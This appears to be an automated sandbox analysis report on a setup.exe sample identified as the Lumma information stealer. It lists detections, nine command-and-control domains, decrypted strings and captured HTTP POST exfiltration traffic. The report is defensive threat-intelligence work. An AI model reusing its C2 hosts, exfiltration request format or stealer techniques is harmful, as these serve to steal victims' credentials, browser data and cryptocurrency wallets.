Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample name:	setup.exe
Analysis ID:	1461307
MD5:	864fb28b0001b98ddd896dbdc604db30
SHA1:	2c7691795b4313704b79c3dfe70b956e84b45a11
SHA256:	5de143343cc0a2b03f076de338308ac58eda529f6814a2e2266531d8ae09fbb0
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

setup.exe (PID: 3160 cmdline: "C:\Users\user\Desktop\setup.exe" MD5: 864FB28B0001B98DDD896DBDC604DB30)

RegAsm.exe (PID: 5592 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 2436 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 696 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["richardflorespoew.shop", "strwawrunnygjwu.shop", "justifycanddidatewd.shop", "raiseboltskdlwpow.shop", "falseaudiencekd.shop", "pleasurenarrowsdla.shop", "feighminoritsjda.shop", "marathonbeedksow.shop", "backcreammykiel.shop"], "Build id": "LPnhqo--@nevermoredielzt"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: RegAsm.exe PID: 5592	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: setup.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://backcreammykiel.shop/D	Avira URL Cloud: Label: malware
Source: marathonbeedksow.shop	Avira URL Cloud: Label: malware
Source: https://backcreammykiel.shop:443/apiCLSID	Avira URL Cloud: Label: malware
Source: https://backcreammykiel.shop/api	Avira URL Cloud: Label: malware
Source: feighminoritsjda.shop	Avira URL Cloud: Label: malware
Source: https://backcreammykiel.shop/api7	Avira URL Cloud: Label: malware
Source: https://backcreammykiel.shop/apis	Avira URL Cloud: Label: malware
Source: backcreammykiel.shop	Avira URL Cloud: Label: malware
Source: https://backcreammykiel.shop/	Avira URL Cloud: Label: malware
Source: https://backcreammykiel.shop/apiXEpq	Avira URL Cloud: Label: malware

Found malware configuration

Source: 1.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["richardflorespoew.shop", "strwawrunnygjwu.shop", "justifycanddidatewd.shop", "raiseboltskdlwpow.shop", "falseaudiencekd.shop", "pleasurenarrowsdla.shop", "feighminoritsjda.shop", "marathonbeedksow.shop", "backcreammykiel.shop"], "Build id": "LPnhqo--@nevermoredielzt"}

Multi AV Scanner detection for domain / URL

Source: backcreammykiel.shop	Virustotal: Detection: 8%	Perma Link
Source: marathonbeedksow.shop	Virustotal: Detection: 14%	Perma Link
Source: https://backcreammykiel.shop/api	Virustotal: Detection: 16%	Perma Link
Source: justifycanddidatewd.shop	Virustotal: Detection: 13%	Perma Link
Source: pleasurenarrowsdla.shop	Virustotal: Detection: 13%	Perma Link
Source: richardflorespoew.shop	Virustotal: Detection: 14%	Perma Link
Source: falseaudiencekd.shop	Virustotal: Detection: 13%	Perma Link
Source: feighminoritsjda.shop	Virustotal: Detection: 12%	Perma Link
Source: backcreammykiel.shop	Virustotal: Detection: 8%	Perma Link
Source: strwawrunnygjwu.shop	Virustotal: Detection: 13%	Perma Link
Source: raiseboltskdlwpow.shop	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for submitted file

Source: setup.exe	ReversingLabs: Detection: 81%
Source: setup.exe	Virustotal: Detection: 79%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: setup.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: richardflorespoew.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: strwawrunnygjwu.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: justifycanddidatewd.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: raiseboltskdlwpow.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: falseaudiencekd.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: pleasurenarrowsdla.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: feighminoritsjda.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: marathonbeedksow.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: backcreammykiel.shop
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String decryptor: LPnhqo--@nevermoredielzt

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00415E52 CryptUnprotectData,

1_2_00415E52

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49718 version: TLS 1.2

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00B02953 FindFirstFileExW,

0_2_00B02953

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+50h]	1_2_004178F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 36E97270h	1_2_0043A180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_0040A2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	1_2_00426B33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	1_2_0041FB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_004153B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_004153B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000A8h]	1_2_00425E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	1_2_00416EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00416EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	1_2_00416EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, eax	1_2_00416EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [eax+edx], cl	1_2_00416EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00416EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 077DEFCDh	1_2_00439790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000A88h]	1_2_0041DFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00410840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, word ptr [ebp+eax*4+00h]	1_2_00408800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00410017
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, dx	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000F8h]	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+08h], edi	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+10h], 70526C4Ah	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+0Ch]	1_2_0042290F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000F8h]	1_2_00427124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	1_2_0042692A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	1_2_00415210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	1_2_0040DAF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi], ebx	1_2_00425280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_00425280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], C58DD7F7h	1_2_00439AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00437B72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, dword ptr [esp]	1_2_00434B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push edi	1_2_00423BB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_00424400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc edi	1_2_00412C82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 02286B4Eh	1_2_00439DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	1_2_00422DA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E23F8252h	1_2_0041C67E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+68h]	1_2_00425609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000230h]	1_2_0041061A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	1_2_00409E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_00402E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, esi	1_2_004246A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+esi]	1_2_00434EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000A8h]	1_2_00425E02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_00430F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+68h]	1_2_00425733
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+68h]	1_2_004255C5

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: richardflorespoew.shop
Source: Malware configuration extractor	URLs: strwawrunnygjwu.shop
Source: Malware configuration extractor	URLs: justifycanddidatewd.shop
Source: Malware configuration extractor	URLs: raiseboltskdlwpow.shop
Source: Malware configuration extractor	URLs: falseaudiencekd.shop
Source: Malware configuration extractor	URLs: pleasurenarrowsdla.shop
Source: Malware configuration extractor	URLs: feighminoritsjda.shop
Source: Malware configuration extractor	URLs: marathonbeedksow.shop
Source: Malware configuration extractor	URLs: backcreammykiel.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: backcreammykiel.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 65Host: backcreammykiel.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12846Host: backcreammykiel.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15088Host: backcreammykiel.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20578Host: backcreammykiel.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5455Host: backcreammykiel.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1286Host: backcreammykiel.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568554Host: backcreammykiel.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: backcreammykiel.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: backcreammykiel.shop

Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: RegAsm.exe, 00000001.00000002.2116693231.0000000003820000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2116139844.00000000015CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://backcreammykiel.shop/
Source: RegAsm.exe, 00000001.00000002.2116693231.0000000003820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://backcreammykiel.shop/D
Source: RegAsm.exe, 00000001.00000002.2116436680.000000000167D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2116197394.0000000001613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://backcreammykiel.shop/api
Source: RegAsm.exe, 00000001.00000002.2116197394.0000000001613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://backcreammykiel.shop/api7
Source: RegAsm.exe, 00000001.00000002.2116436680.000000000167D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://backcreammykiel.shop/apiXEpq
Source: RegAsm.exe, 00000001.00000002.2116436680.000000000167D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://backcreammykiel.shop/apis
Source: RegAsm.exe, 00000001.00000002.2116480868.000000000168C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://backcreammykiel.shop:443/apiCLSID

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49718 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042E310 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_0042E310

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042E310 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_0042E310

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042EC21 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

1_2_0042EC21

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AEC810	0_2_00AEC810
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AF6926	0_2_00AF6926
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AF3AA0	0_2_00AF3AA0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AF1AF3	0_2_00AF1AF3
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00B04B3E	0_2_00B04B3E
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AE5CC0	0_2_00AE5CC0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00B06C64	0_2_00B06C64
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AFFEFD	0_2_00AFFEFD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AFBFF9	0_2_00AFBFF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004178F0	1_2_004178F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00420940	1_2_00420940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00416ACF	1_2_00416ACF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004053A0	1_2_004053A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041D4E0	1_2_0041D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00416EDE	1_2_00416EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041FFEC	1_2_0041FFEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00439790	1_2_00439790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00408800	1_2_00408800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004270D3	1_2_004270D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00438080	1_2_00438080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004210AC	1_2_004210AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00407140	1_2_00407140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004381C0	1_2_004381C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401262	1_2_00401262
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041F2CC	1_2_0041F2CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00439AA0	1_2_00439AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004103C0	1_2_004103C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00437C02	1_2_00437C02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00406C30	1_2_00406C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004384E0	1_2_004384E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00437D20	1_2_00437D20
